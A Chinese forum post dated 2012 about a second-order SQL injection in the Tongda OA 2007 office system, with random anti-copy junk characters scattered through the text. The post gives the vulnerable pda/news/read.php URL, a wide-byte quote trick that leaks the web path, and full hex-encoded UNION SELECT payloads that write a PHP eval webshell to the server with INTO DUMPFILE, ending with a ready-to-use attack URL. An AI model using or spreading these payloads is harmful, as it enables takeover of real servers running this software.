目前测试通达OA2007版本
I& f: h9 A4 H! [3 x @0 @7 ^) U4 w0 S l. u* [6 ^& ?- X0 P
$ {; Y' w9 H2 b2 P5 W
Office Anywhere 2007 网络智能办公系统
- T& M% Q5 @6 ^ , n( v+ n, @# v: s6 @7 G5 ?- H
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
6 a) d; C9 N* v# l
$ ^: O" L; M, b5 b; m5 _ 0 e& M: v: D8 z7 V. c
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
h$ l" v( d( B9 b+ q 9 s8 @4 m7 f' O/ B' T
例如：SELECT * from USER where USER_ID='{$USERNAME}'
3 ~, s$ J$ i) a+ u* D, z7 G& A其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
" U' j c0 `5 e8 V' ]
# s( e: Z5 L7 O9 [: H9 E( p+ O4 \这个时候我们是不是可以组合起来使用哪？
4 g; \) U! o9 T ; Q) }9 \( R8 x4 d6 P
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样' ?) L6 ?% H) b$ }9 ?9 e& Q
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
* `2 t* P# O/ d7 i4 q; g
4 w! I' v+ {1 z8 t8 \+ t这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
' `9 n4 w R" m6 Q3 K
" G* P7 a2 T& W/ c) D% e% D那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
7 j8 M" L! z, Y* _. _/ R, T 4 a% R" r/ ~* l3 V" [+ s( `
那么我们用字符串格式带入进行hex编码
4 z: u' w' Q8 Y; v! P
3 l4 A" Z% e3 D0 |! \& z1 A%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%237 [7 _9 p1 N2 Q7 Q5 e
0 e8 [. A5 M2 r! U. }测试ok，获取oa的webshell0 j; V7 J/ Y2 Q/ X4 x; N: a2 J* T
( E: t/ Y) u9 C* t- u- t7 F
4 `6 F1 B5 E% w9 l# C# H: w$ H1 a$ zpda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
! y4 X$ N% j$ q- `8 Q直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对